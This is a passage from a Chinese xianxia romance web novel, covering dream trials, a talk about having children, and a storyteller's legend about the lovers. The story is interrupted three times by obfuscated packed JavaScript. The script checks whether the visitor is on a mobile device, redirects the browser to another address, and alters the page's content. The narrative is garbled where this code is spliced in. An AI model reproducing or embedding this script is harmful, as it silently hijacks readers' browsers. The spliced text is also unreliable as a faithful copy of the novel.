苗驰反应也快，一把抓住她的手腕，起身的同时握着她的手腕扭了一圈，伴随着尖叫声，一脚将人踹下高台。 一波未平，高台下尖叫声四起，两人对望一眼，齐齐凑到栏杆前向下看去，火光四起。 那头苗驰的六名侍卫悄无声息地倒在地上，利箭划破黑夜袭来。洛念安转身，挡在苗驰身前，伸手拔出他腰间的佩剑，手腕转动，将箭雨拦了下来。同时身形翻转，徒手抓住飞来的六根利箭，手臂一甩，一箭一人，应声倒下。 苗驰在她身后不由抚掌，称赞道：“好功夫。” 现在肯定不是夸人的时候，洛念安反手握住他的手掌，拉着人就要跑，身后之人却纹丝不动。 “……”洛念安回头看他，出声道，“跟着我，我保你安然无恙。” 她话音落下，苗驰似乎怔了怔，随即轻笑出声，不知何意，但无论如何，是跟着她跑了。 奇怪，他的手竟还是冰凉。 她以为…… 这些人的目标应该就是苗驰，一批批杀手向他们涌来，然后倒下。 四周火光冲天，前面的走廊轰然塌下，洛念安顿感不妙，这样的建筑，火势大了大抵会全部坍塌。走廊不甚安全，洛念安拉着苗驰钻进建在山体内的房屋里，可这屋子也是竹制，绝对无法幸免于难。 洛念安倚在墙边，正思量着带着他跳下去两人都活着的胜算是几何，便听见身前的苗驰道：“洛太初是谁？” “……”洛念安思绪被打断，懵然一瞬，主要是这个问题从他口中问出，令人不得不发懵。 苗驰朝她靠近一步，弯了弯唇：“你牵着我的手，口中说着，心里想的都别的男人？嗯？” 火光映在他面上，衬得那个笑容有些狰狞。 “不是……”洛念安张了张口，又觉得自己一时半会解释不清洛太初就是他这件事，于是道，“眼下不应该关心这件事吧？” 苗驰闻言，点点头，似乎是赞同了她的话，于是道：“你是谁？” “……”难道就应该关心这件事了吗？ 洛念安是这么想的，也是这么说的。 苗驰却又靠近一步：“眼下我只关心这件事。” 洛念安眼看着大火要烧过来了，有些心急：“先不说这个，我们先出……” “我觉得我应该要认识你。” “……”洛念安一顿。 苗驰继续道：“很奇怪。” 他垂着眸，露出了方才在天台上那副若有所思的神情：“可我记不得了。” “好，我告诉你我是谁。” 苗驰闻声看向她。 洛念安看着他的眼睛，认真道：“我是你的妻子。” 苗驰眉头一挑，嘴角勾起一抹若有似无的弧度。 洛念安道：“不信？” 苗驰道：“可以信。” “……” 他凑得很近，近到她似乎一踮脚，便能亲上去。她是这么想的，也是这么做的。 唇齿相接的那一刻，洛念安的眼前忽然炸开一道白芒。 须臾，她睁开眼。 88. 梦境二 洛太初跟在洛念安身后进入山洞，明明两人挨得极近，可眼前之人就是在进入的一瞬间消失不见了。 洛太初快步向前，眼前忽然现出一座宫殿。 “你们两个，去殿前守着。” 前面一人站在两排队伍中间，指着最后面的洛太初和他身侧一人。 “是。”身侧那人应声。 队伍已经继续往前离开。 那人见洛太初迟迟未动，提醒道：“兄弟，愣着做什么？走了。” 洛太初左右各扫一眼，复又看向他道：“你在同我讲话？” “不然呢？”那人觉得莫名其妙，“这里除了我俩还有谁？难不成有鬼啊？” 洛太初闻言微微挑眉，弯唇露出了个没什么笑意的笑：“说不定。” “别吓人了，”那人道，“长公主殿下快来了，我们抓紧去殿前守着吧。” 洛太初心知大抵是着了那个梦魔的道，便打算静观其变，先寻到洛念安要紧。 他跟着另一个侍卫停在一处殿前，一左一右立在那。 一群侍女进进出出，在殿内忙前忙后。 洛太初百无聊赖地立在那处，见状询问道：“这是在做什么？” “设宴，”那人道，“晚些殿下会与未婚夫在此处共进晚膳。” 洛太初点点头，虽觉得似乎不太对劲，一时半会儿又理不清根源在何处。 那人许是也觉得无聊，遂挑起话头道：“你是新来的？看着眼生。” 洛太初道：“应该是。” 那人笑了笑道：“我其实也来得不久，当时听说要调到长公主府当差，兴奋得一夜没睡着。” 洛太初现下无聊的紧，便与他聊着：“为何？” 那人道：“你没听说吗？长公主殿下出了名的仁善，从来没听过她责罚过谁，待下人又十分大方，逢年过节奖赏可丰厚了。” 洛太初点头，心不在焉道：“现在听说了。” 那人又道：“诶，我看你不像是中原人，你家是哪的？” 洛太初四下观望着，回道：“九黎族。” “哦~我就说嘛，诶，你们九黎族是不是美女如云啊？” “不知道，”洛太初道，“没见过。” “也对，”那人道，“说不准看得久了习惯了。你还没见过殿下吧？我们殿下容貌可是一等一的出挑，大家都说她貌若天仙呢。” “貌若天仙？”这句话倒是吸引了洛太初的注意力，毕竟不是随便什么人都能有与天仙相媲美的容貌。 那人笑了笑，道：“真的，待会儿你就能见到了。” 说话间，前方走廊处拐出一众行人，为首的女子一袭金色华服，珠光宝气，十分夺目。 洛太初的视线也跟着落了过去，随即一顿，须臾，他弯起唇角，原本倚着门框的身子也站得溜直。目光微移，洛太初看清她身侧之人后，原本扬起的唇角顷刻便又落了下去。 柳渊为何在这？ 不远处的洛念安与柳渊一路说说笑笑，谈笑间，她的视线不经意与洛太初相对，凝滞一瞬，便又移开。 洛太初看着他们说笑，只觉得无比刺眼。待一行人走进，洛念安从他身侧经过即将进殿时，他忍不住低声唤道：“姐姐。” 洛念安脚步一顿，微微侧目，视线在他面上停留片刻，似蹙了蹙眉，又迈步进了殿中。 “......”这样陌生的眼神，看得洛太初喉间一哽。 殿中响起乐声，很快便有侍女捧着佳肴鱼贯而入，又鱼贯而出。 “怎么样？”那人尚沉浸在洛念安的美貌之中，全然没注意到洛太初的不寻常，“果真貌若天仙吧？” 洛太初心不在焉地“嗯”了一声，又问道：“殿下身侧那个是谁？” 那人回：“柳渊将军，说不定过段时间便成了公主驸马了。”他无不羡慕道，“柳将军真是好福气啊。” “......”洛太初额头青筋暴起，咬着牙一字一顿：“公主驸马？” 那人全是个没眼力见的，依旧点头道：“是啊。” 洛太初再无心搭理他，侧着身子倚在门边往里看去。 柳渊一张嘴说个不停，洛念安频频应声，微笑间眼眸一转，正正对上洛太初的视线。她似乎怔了怔，掩面饮了一口杯中酒，再放下袖子时，便垂着眸，不再看他。 洛太初眉头一挑，唇角微微扬起，眸光落在她身上，不愿移开。 不知过了多久，里面的洛念安起身，似与柳渊说了些什么，便从侧门离开。洛太初见状，转身离开。 “诶？”那人在身后问道，“你去哪？” “出恭。”洛太初头也不回地离开。 洛念安身后的侍女侍卫跟了两排，洛太初不远不近地跟在后面，见她拐进了另一座殿，其余人在门外候着。洛太初便也倚着石柱等着，不一会儿，洛念安从里面出来，却没有原路返回，而是继续往前，离开廊檐，踏上了石板小路。 她停下来，对身后的人交代了一句，便自行往花园深处走进。 洛太初四下观察一番，从另一条道跟了进去。 洛念安停在池塘边的垂柳旁，安静地望着湖面出神。 “殿下似乎不太高兴。”洛太初从假山处现身。 洛念安回过身看向他，又四处看了看，问道：“你为何会在此处？” “自然是寻殿下而来，”洛太初笑了笑，往前行进几步，“殿下不妨先说说，为何不高兴？” “没有，出来透透气罢了，”洛念安目光闪躲，见他越靠越近，提醒道，“你......不要再往前了。” 可是说话间，洛太初已经来到她面前，洛念安的后背已经抵上树干，她欲从侧面躲开，洛太初却已经伸手支着树干，另一侧是池塘。 洛念安避无可避，两人之间的距离显然近得有些过分了，她厉声道：“放肆，本宫有婚约在身，你如此......成何体统？！” “婚约？”洛太初咧嘴一笑，露出森森白牙，“殿下当真要与他成亲？” “......与......”洛念安不知为何，气势瞬间弱了下来，目光游移，“与你何干？” 洛太初微微俯身，看着她的眼睛道：“我不同意。” 他凑得极近，几乎再近一些两人的双唇便要挨在一起。洛念安呼吸急促了几分，她抬起手，一巴掌扇在洛太初的面颊上：“放肆，本宫乃长公主殿下！” 她没用什么力道，如同小猫挠痒一般。洛太初微微偏过脸，忽然轻笑一声，另一只手伸出，将她的那只手握住，递到唇边吻了吻，望着她道：“姐姐现下，与你我初见时一模一样。” “你......”洛念安被他这一举动惊得发懵，无法细想他那句话究竟是何意，“你”了半天，却只能说出苍白几字，“你放肆！” “容不容我放肆的也都放肆完了，”洛太初握住她的手覆在自己的面颊上，扬眉道，“殿下若是生气，不如杀了我？” “......你！” 洛太初笑了笑，侧面在她的手心处落下一吻，轻声道：“这个身份不好，配不上你。” “.... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201837|152665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ..”洛念安试图抽回手，却是徒劳。 洛太初望着她，露出一副楚楚可怜的神情：“姐姐不要和他成亲好不好？你这样，我会伤心的。” 洛念安神情一滞，眼睫轻颤，垂眸移开视线。半晌，她讷讷道：“我们是不是......在何处见过？” 洛太初闻言，忽地露出一抹不怀好意的笑，他俯身凑到她耳边道：“何止见过，还睡过。” 洛念安陡然睁大双眸：“你！” 洛太初却没给她说出“放肆”两个字的机会，继续道：“殿下不信？那殿下的心口处，是不是有一颗痣？” 洛念安彻底愣住，好半晌，她咬牙道：“你竟敢偷看本宫沐浴！” 洛太初闻言一怔，随即无奈轻笑一声。早也知道她是个不解风情的，干脆俯身堵住了那双正喋喋不休一开一合的唇。 唇齿相接的那一刻，洛太初的眼前忽然炸开一道白芒。 须臾，他睁开眼。 洛念安仍在他眼前，只是二人周遭的风景全然发生了变化，身侧皆是石壁，似仍置身于石洞之中。 两人视线相对，又移开，携手往山洞深处走去。 那梦魔果然已经逃之夭夭，两人又费了一番功夫才成功将其降伏。 整个过程以及回到神界之后，两人都心照不宣地没有提及梦境中的事情。 直到第二日，洛太初如往常一般陪在洛念安身侧整理公务，他忽然放下笔，伸手将那盘葡萄端到自己面前，出声询问道：“姐姐吃不吃葡萄？我给你剥。” 洛念安闻言笔尖一顿，抬眸对上他的视线，忍不住弯眼笑了起来。她将笔置于笔架上，伸手摘了一颗葡萄下来，道：“还是我给你剥吧。” 两人原本是分开坐的，下一刻，洛太初便挤到了洛念安的椅子上，伸手揽着她，正欲开口说话，便听见洛念安道：“对了，尚未擦手呢。” 洛太初一怔，边笑边叹，握住她捻着葡萄的手，将那颗葡萄送入自己口中，然后道：“姐姐手中的，就是香甜可口。” 洛念安轻笑了笑。 洛太初凑近了些，贴着她的面颊道：“姐姐生气了？” “怎么会？”洛念安道，“若是你想，平日里我也可以为你剥葡萄的。” 洛太初轻轻捏了捏她的手，道：“梦境中浑然不知，我又怎会舍得让姐姐做那些事？”他说着，牵起她的手递到唇边吻了吻。 此举倒是引得两人记起另一番记忆了。 两人同时一怔，洛念安侧身抬手抚上他的面颊，万般自责道：“打疼你了吧？” “没有，”洛太初轻笑道，“跟小猫挠痒似的。” “......”洛念安收回手，垂着眸，一时不知该如何回。 洛太初环住她的腰身，将下巴搁在她的肩膀上，轻声道：“倒是姐姐，没有生我的气吧？” 洛念安想起他的所言所行，忍不住面颊发烫，她小声道：“自然没有，若是生气，今日才问是不是晚了些？” 洛太初弯了弯唇角，解释道：“我心知是梦境，才想逗一逗姐姐。至于旁的举动，完全是习惯使然。”他停顿片刻，在洛念安耳畔吐息道，“姐姐平日里太纵着我，都要将我惯坏了。就如断魂一样。” 说起断魂，洛太初离开的那几年，洛念安走哪都将它背在身上。后来洛太初回来，它一开始不愿再进那虚空之境里了，还是被他踹了一脚，踹进去的。洛念安有些于心不忍，洛太初却道不能太惯着它。 “......那怎么办？”洛念安抿了抿唇，小声道，“我也习惯了。” 89. 关于生子 “姐姐，何时能忙完？” 洛念安笔尖一顿，道：“很快了。” 洛太初凑到她身侧坐下，一手滑到她腰间，轻轻捏了捏，在她耳畔道：“姐姐，春宵一刻值千金啊。” “……”洛念安耳尖瞬时泛了红，她侧了侧目，忍不住提醒道：“那个……你，你能先把衣服穿好吗？” “怕什么？”洛太初弯起唇角，“现下只有你我二人。” 洛念安努力不受其扰，艰难地在卷轴上继续写下三字，而后实在有些受不住，无奈道：“小初……” “嗯？”洛太初的双唇并未移开。 “……”洛念安放下笔，道，“你可曾听过……欲多伤神？” 洛太初抬起头，眼眸微转，认真道：“没有啊，姐姐从前也没教我这些。” “……”洛念安无奈道，“那时我怎么可能会教你这些？” 洛太初略一思索，又凑了过来，含糊道：“没关系，只要不伤姐姐的神就好。” 洛念安真是败给他了，她轻叹一声道：“我先去沐浴，好吗？” 洛太初弯起唇角，直起身子，道：“好。” 洛念安松了口气，正欲起身，洛太初另一条手臂已经伸至她的膝弯处，下一刻，洛念安整个身子腾空而起，她下意识攀住洛太初的脖颈，而后便听他道：“正好一起吧。” “……” 银环相交，反映零星烛光。远方有一孤舟，在狂风骤雨里摇曳不止。洛念安置身于孤舟之上，随之浮浮沉沉，风浪久不停息，不知何时，总算风平浪静。 洛念安疲惫不堪，闭目睡去。 她做了一个梦。 梦中洛太初立于悬崖之侧，崖边明月高悬。他头也不回地往前走着，一脚踏空。洛念安心下大骇，几步奔上前去想要拉住他，却只见衣袂翻飞，手中却是连一块布都抓不住。她毫不犹豫地跟着跳了下去，身体急速下坠，耳畔狂风呼呼作响。 “小初！”洛念安猛地睁眼，手臂下意识伸向旁边，却是空落落一片。 她立马坐起身子，借着昏暗的光线一看，身边果然空无一人。洛念安瞬间慌了神，起身穿上衣衫，在殿内四处转了一圈，一个人影也没见到。她停下脚步，冷静下来后，身旁的虚无撕开一道裂缝，洛念安走了进去，再现身时，便到了安乐殿中洛太初的寝殿门前。 里面灯火通明。 洛念安伸手推开殿门，正见到洛太初坐于案前，手中端着一银碗，正在喝着什么。 许是察觉到来人，洛太初放下银碗往门口一瞧，似乎是愣了愣神。视线相对，他又不自然地别开。而后便又将碗送到嘴边，似要将里面的东西喝完。 洛念安直觉不对劲，出声道：“等一下。” 洛太初动作一顿。 洛念安闪身来到他面前，伸手握住他的手腕，欲将那碗截下来。 洛太初对上她的目光，停顿片刻，顺着她的意思将碗放了下来。 洛念安侧目看着碗中的黑汤药，蹙了蹙眉，心中一紧：“这是什么？”她俯身将那银碗端起，凑近闻了闻，眉头蹙得更紧，“药？”她放下银碗，侧身坐到洛太初身边，两手抚上他的面颊，“你怎么了？为何会喝药？病了吗？” 说完自己却是微微一怔，他会生病吗？ 洛太初轻轻摇了摇头，问道：“姐姐怎么醒了？” “我做了个恶梦......”洛念安一顿，又道，“你不要转移话题，先告诉我，这是什么药？你究竟怎么了？” 本来那个梦境就让她心悸，醒来之后发现身侧人不见了，跑到这里偷偷喝药，洛念安的心更是慌乱不已。 洛太初抬手将她的两只手握在手心，柔声道：“我真的没事，一点事都没有。姐姐做了什么噩梦？可与我说说。” 洛念安完全不上他的当，追问道：“那这是什么药？” “......” 洛念安见他视线闪躲，看着他的双眸认真道：“你实话实说，不然，我要生气的。” 片刻后，洛太初叹息道：“我说。” 洛念安点点头。 洛太初俯身上前，在她耳边说了什么。 “......”洛念安双眸微睁，愣了半晌，真诚道，“你......真的可以......生孩子吗？” “............”洛太初神色一僵，须臾，眉头微挑。 洛念安意识到自己说错了话，于是立马道：“抱歉，我以为......以为......” 洛太初笑得勉强：“以为什么？” 洛念安嗫嚅道：“以为这许久没动静是你......不能生......” 空气陷入了片刻的沉寂，只有火烛燃烧发出兹拉声响。 洛太初忽然轻笑出声，他道：“若是结果相同，过程如何也没什么所谓。” 洛念安原本垂着眸不敢看他，听他这样说，她抬眸问道：“你不喜欢小孩子吗？” 洛太初弯唇道：“是姐姐说不想生子的。” “啊？”洛念安愣住，她眨了眨眼，细细回想一番，可她无论在脑海中如何翻找，也没找到这段记忆，“我何时说了？” 洛太初轻声道：“姐姐忘了？” 洛念安摇摇头，如实道：“真的记不得了。” 洛太初笑了笑，温柔低语，将洛念安脑海中的那段记忆碎片缓缓钓起。 那是五百年前的一个寻常的早晨。 洛念安很想吃城中一家包子铺的包子，于是带着洛太初进城吃早饭。那包子铺的包子十分美味，但店面很小，故而食客只能坐在门口街边。两人点了两笼包子两碗豆腐脑，坐在街边大快朵颐起来。 晨起街道上赶集买卖的人很多，洛念安边吃边观察着路边行色匆匆的行人，忽然，视线被一妇人吸引过去，那妇人抱着一个嗷嗷待哺的孩子，背上背了一个，身侧还围了四个能跑能跳的。那四个围着她，拽着她的衣角，一声一声地喊“娘”，这个喊完那个喊，争先恐后，此起彼伏。不一会儿怀里抱着的那个哭了，背上背着的也跟着哭。当真是热闹非凡。 洛太初见她看得出神，便顺着她的视线看过去。 洛念安忍不住摇了摇头，问道：“那些都是她的孩子吗？” 洛太初转回来点点头道：“应该是的。” 洛念安惊得眼睛都睁大了：“这么多？” 这样的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15222880|152665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场景洛太初见得多了，便不觉得新奇。他道：“是的。” 洛念安面露难色，视线忍不住再次落了过去。观察了一会儿，她忽然道：“这么多孩子她都能做到陪在身侧。” 洛太初看着她道：“姐姐想你娘亲了吗？” 洛念安包子递到嘴边，停顿片刻，她眨了眨眼睛，继而咬了一口包子，摇头道：“没有，我们......大抵是母女情浅。” 洛太初大抵不太懂她的意思，但还是安慰道：“姐姐日后若生了女儿，便可与她母女情深了。” “......”洛念安愣住，须臾，她忍不住笑出了声，笑了一会儿，她摇头道，“我大抵不会有自己的孩子吧。” 洛太初道：“为何？姐姐不喜欢小孩子吗？” 洛念安不知该如何与他讲这件事，便胡乱点头道：“嗯，不太喜欢。” 洛太初拿包子的手一顿，又缩了回去。 洛念安注意到他的动作，微微一怔，忙补充道：“当然不包括你啦，我很喜欢你的。我是说......只有一丁点大的小孩，不会说不会走却只会哭的那种。” 洛太初确认自己会说会走不会哭，便放下心来，面上重新扬起笑容，伸手将那个热包子拿在手里。 “......”洛念安沉默半晌，道，“这都是多少年前的事了，你竟然还记得这样清楚。” 洛太初扬起唇角道：“自然清楚。” 洛念安抿了抿唇，轻声道：“其实也不是不喜欢，只是......我害怕我会照顾不好他，给不了他想要的或者......” 洛太初伸手将她揽入怀中。 “我将他带到这世上来，如若他一世平安欢愉倒也罢了，可万一他受了苦遭了难，我会为此自责愧疚的。” 洛太初将怀中的人圈得更紧了些，他沉吟片刻，柔声道：“我们自然不会让他受苦受难，不过，不想便不想。” 洛念安伸手环上他的腰身，询问道：“你喜欢小孩吗？或者说......你想要孩子吗？” 洛太初道：“说实话，我还没想过这件事情。” 洛念安道：“那你现在想一想。” 洛太初轻笑一声，须臾，他道：“不想。” 洛念安直起身子，看向他道：“为何？” 洛太初抬手理了理她鬓间的碎发，轻声道：“我听说怀孕生子很伤母体，我不愿姐姐受这个苦。” “......”洛念安眼眸轻眨，她伸手环住他的脖颈拥抱住他。 洛太初也回拥住她：“姐姐，来日方长。” 洛念安扬唇笑了笑：“嗯。” 顿了顿，她又道，“只是，日后可不可以少提一些五百年前的事？” 洛太初微微偏头：“为何？” 洛念安道：“我......我总觉得有些别扭。” 洛太初笑了笑，道：“好，听姐姐的。” 洛念安又道：“你喝这个药会不会伤身体？” 洛太初道：“我这处擅长制药，姐姐又不是不知。” “那你让人制一种我喝的药吧。” “姐姐方才说做了什么噩梦？” ...... 90. 关于传说 又是一年冬至。 “劳驾，”洛念安对店小二道，“可以帮我舀一碗醋吗？” 店小二上前，接过她手中的空碗道：“客官稍等。” 赫连昭扒拉了一下碗里热腾腾的饺子，道：“我不爱蘸醋。” 叶蓉看了他一眼：“听说肾脾不好的人一般都不能吃醋。” 赫连昭：“……” 洛念安好奇道：“还有这个说法？” 叶蓉点点头：“我也是听一位大夫说的。” “小二，给我也来一碗。”柳渊忽然出声，然后对叶蓉道，“你可能不知道，我一直把醋当水喝。” 叶蓉：“……？” 赫连昭默默白了他一眼，然后也要了一碗。 柳渊见状，不知是突然激起了他哪里的胜负欲，又开口要了一碗。 店小二连跑几趟，后来干脆搬了个醋坛子放到桌上：“各位客官慢用。” 柳渊的视线转到洛太初身上：“帝夫能吃醋不能？” 洛太初不屑轻笑，一边给自己舀了一碗醋，一边道：“我有妻子。” 柳渊面上的笑容一僵。 洛念安没明白他们是何意，但叶蓉脸上的笑容实在是有些不怀好意，来来回回落在她和洛太初身上的视线让她总觉得别扭，于是问道：“你们在说什么？” 洛太初道：“没什么，他有病。” 柳渊：“……？” 洛太初又道：“姐姐还要添些醋吗？” 洛念安将碗递了出去，而后好奇地看向他：“你不是不喜欢吃酸的吗？” 洛太初面不改色：“偶尔也吃一些。” 真是奇了怪了。 赫连昭伸手敲了敲那个醋坛，对柳渊道：“你不是当水喝吗？喝吧，多喝些。” 柳渊偷偷白了他一眼，而后道：“我现在不渴。” “没事，”赫连昭道，“我待会给你打包带走，免得你口渴没水喝。” “……”柳渊道，“做人偶尔还是不要太较真得好。” 叶蓉笑得前俯后仰，洛念安其实仍没有懂，但也跟着笑。 一碗热腾腾的饺子下肚，叶蓉问道：“洛姐姐，你们待会出任务吗？” 洛念安道：“对啊。” 柳渊道：“我也有公务，你们俩呢？” 赫连昭道：“没闲着。” 叶蓉也道：“闲不了一点儿。” 柳渊道：“那我们仨一起呗。” 叶蓉道：“可以啊。” 两人的视线随即落在赫连昭身上，他万般嫌弃地点了点头。 洛念安轻声笑了笑，放下汤匙和筷子，接过洛太初递来的帕子擦拭着嘴角。 柳渊见状，也放下筷子，而后道：“谁付账？” 话是问出来的，视线是落在洛太初身上的。 另外两人也跟着看了过去。 洛太初接过洛念安手中的帕子，放了一锭银子在桌角，而后牵着她起身道：“走吧。” 柳渊边起身边小声对赫连昭道：“下次得宰他一顿大的。” 洛太初淡淡道：“把你撑死，也宰不了我一丁点。” 柳渊转而对洛念安道：“帝君，他说话有些过于难听了。” 洛太初：“……” 洛念安无奈笑了笑，温声道：“抱歉，多担待些吧。” 洛太初闻言嘴角上扬，只是有人欢喜有人愁，柳渊反正一点都笑不出来，拽着赫连昭催促：“快走快走。” 赫连昭冷不丁被他拽得踉跄一下，一边跟着走一边骂骂咧咧道：“急什么？赶着投胎啊？” 叶蓉跟在他们身边：“友情提醒，现在还是不要在洛姐姐面前说我们王上坏话哦。” 赫连昭道：“就是，师父她护短也不是一日两日了。” 洛念安微笑道：“几位，若是要说他人坏话，我建议还是离远一些。虽然背后说人坏话不太好，但是当面说似乎更不好。” 那三人果然离远了些，至于有没有继续说他们坏话就不得而知了。 洛念安与洛太初手牵手从酒楼离开，沿着街道往前，欲寻一处人少之地打开虚空之境。 “姑娘、公子，买茶吗？” 洛念安被这道耳熟的声音吸引视线，眸光中映出一张熟悉的面孔，她脚步一顿，望着她微微抬眉。 那女子被她看得愣了愣，小心道：“姑娘？” 洛念安回神，轻声道：“抱歉，姑娘很像我的一位故人。” 那女子轻轻笑了笑，道：“那也是一种缘分。” 洛念安点头，微笑道：“是啊，很有缘。” “娘～”这时，一个小男孩举着一串糖画跑了过来，抱住女子的腿，怯生生地看了一眼洛念安和她身侧的洛太初。 洛念安看向他，微微一怔，问道：“这是你的儿子？” 女子的手抚在小男孩的发顶，笑得十分幸福：“是啊。” 洛念安笑道：“很可爱。” “谢谢，”女子道，“这转眼他也快到上学的年纪了，便想着出来卖卖茶叶，赚些银两供他读书。” 洛念安点点头，看向她面前的小摊，道：“都卖给我吧。”她说着，看向洛太初。 洛太初了然付账。 那女子一边接过银子，一边躬身道谢：“多谢姑娘，多谢公子。” 洛念安伸手扶住她：“我愿买你愿卖，何须道谢？”她说着，垂眸看向那个小孩子，视线忽地被他脖间坠着的平安符吸引，出声问道，“这平安符是？” “哦， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“话说，幽冥鬼界之王号太阴，初见珈洛大帝，便被其如花似玉风华绝代般的美貌所吸引。他暗暗掩下一颗真心，舍了那王位，偏要上那九重天入了珈洛大帝麾下，从此追随在其身侧，几百年如一日，为其上刀山，下火海。”折扇刷啦展开，“直到女魔无双欲毁尽三界那日，珈洛大帝为保苍生与之浴血奋战，一时不察竟险些挨了噬魂剑。”惊堂木再响，“关键时刻，太阴仙不顾几身，替她挡了那噬魂剑，霎时，神血染透三十六重衣。您猜怎么着？珈洛大帝当场自爆神魂，以几半条神命为他续了命！而后，两人永结同心，于那九重天上，共享千千万万年寿命。从此，中天珈洛大帝与太阴仙人之佳话，在人间广为流传。” “……”洛念安忍不住微微蹙眉，“这……对吗？” 洛太初笑道：“我倒觉得还不错。” 洛念安眨了眨眼，纳闷看他。 洛太初继续道：“看来人间传闻，并非全不可信。” 惊堂木收尾，数不尽的铜板往高台上抛去。忽而一块金石从天而降，落在说书先生脚边，他一看，大喜过望，拾了那金揣入袖中，对着二楼连声道谢。